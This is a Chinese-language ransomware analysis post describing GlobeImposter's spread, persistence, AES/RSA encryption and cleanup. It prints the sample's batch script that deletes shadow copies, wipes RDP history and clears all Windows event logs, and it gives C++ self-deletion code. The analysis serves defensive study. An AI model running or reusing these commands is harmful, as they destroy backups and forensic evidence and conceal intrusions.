GlobeImposter病毒分析

百家 作者:Chamd5安全团队 2022-07-06 16:19:33

1、前言

GlobeImposter是一款2018~2019年比较活跃的勒索病毒,它的体积很小,没有网络通信行为。和wannacry一样没有对抗行为,属于比较老的勒索病毒了,适合新手入门分析。

1.1、介绍

Global勒索病毒于2017年5月首次出现,主要通过钓鱼邮件进行传播。2018年8月21日起,多地发生GlobeImposter勒索病毒事件,攻击目标主要是开启远程控制的服务器、攻击者暴力破解服务器密码,对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密,暂时无法解密。GlobeImposter勒索病毒勒索信如下图所示:

Untitled

1.2、病毒特性:

  1. 常见后缀:auchentoshan、动物名+4444。
  2. 传播方法:RDP暴力破解、钓鱼邮件、捆绑软件等等。
  3. 特征:在%appdata%或%localappdata%文件夹下释放。

1.3、逻辑分析:

  1. 解密RSA公钥、后缀名和勒索文件。
  2. 持久化驻留,拷贝到%appdata%目录,添加自启动项。
  3. 遍历磁盘,创建线程循环加密所有文件,并在所有文件夹内拷贝一份勒索信。
  4. 释放脚本temp.bat,删除远程桌面连接信息文件,删除日志信息。
  5. 启动自删除。

详细分析:

一、预处理进行五次解密分别释放需要的文件

  1. 第一次解密:释放RSA公钥
  2. 第二次解密:释放加密文件后缀名和勒索文件名
  3. 第三次解密:释放加密文件后缀名和勒索文件名
  4. 第四次解密:为了确保程序的正常运行,解密不能勒索加密的文件路径名
  5. 第五次解密:释放加密文件后缀名和路径


二、持久化驻留

持久化驻留行为,将文件拷贝到appdata/local目录下,并创建Software\Microsoft\Windows\CurrentVersion\RunOnce注册表项。由于是勒索病毒,所以目的方面和木马不同。不是为了长时间驻留,窃取情报,而是防止病毒未启动,在新的一次开机时,进行启动。


三、遍历文件夹、加密文件

遍历磁盘和文件夹,创建线程使用AES进行加密。



四、勒索病毒加密过程

使用AES算法,对文件进行循环加密。如果该目录文件已经加密完成,写入勒索信。


使用RSA加密AES密钥,然后将密钥写入文件。然后对文件进行AES加密,将加密后的文件内容,写入该文件。


五、自删除行为

通过释放并运行文件temp.bat,删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe命令,删除日志信息。

@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp 
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"


六、程序自杀

执行 COMSPEC /c del szPath > nul 自杀程序。

测试程序如下述代码所示:

#include <windows.h>
#include <Shlobj.h>
#include <iostream>
using namespace std;

int main()
{
    SHELLEXECUTEINFO sei;
    TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH];

    //获取文件路径名。
    if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) &&
        (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0))
    {
        //设置命令行参数。
        lstrcpy(szParams, "/c del ");
        lstrcat(szParams, szModule);
        lstrcat(szParams, " > nul");

        //初始化SHELLEXECUTEINFO结构成员
        sei.cbSize = sizeof(sei);  //设置类型大小。
        sei.hwnd = 0//命令窗口进程句柄,ShellExecuteEx函数执行时设置。
        sei.lpVerb = "Open";  //执行动作为“打开执行”。
        sei.lpFile = szComspec; //执行程序文件全路径名称。
        sei.lpParameters = szParams; //执行参数。
        sei.lpDirectory = 0;
        sei.nShow = SW_HIDE; //显示方式,此处使用隐藏方式阻止出现命令窗口界面。
        sei.fMask = SEE_MASK_NOCLOSEPROCESS; //设置为SellExecuteEx函数结束后进程退出。

        //创建执行命令窗口进程。
        if (ShellExecuteEx(&sei))
        {
            //设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。
            SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);

            //设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。 
            SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
            SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

            //通知Windows资源浏览器,本程序文件已经被删除。
            SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);

            //执行退出程序。
            exit(0);
        }
    }
 return 0;
}


总结:

此勒索病毒样本逻辑清晰,易于分析。由于该程序加密程序无明显错误,所以想要解密需要硬刚RSA解密。RSA的公钥为4096位。位数超过了工程师能够破解的极限,想要获取私钥,需要密码学家的进一步支持。

MD5:

C120F323C78D046C991F0EFE45F3819C

Reference:

  • [1] 《网络安全应急响应——技术实战指南》
  • [2]  https://blog.csdn.net/weixin_30566111/article/details/95912042
  • [3]  https://it.rising.com.cn/fanglesuo/19531.html
  • [4]  https://www.freebuf.com/articles/system/163792.html

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接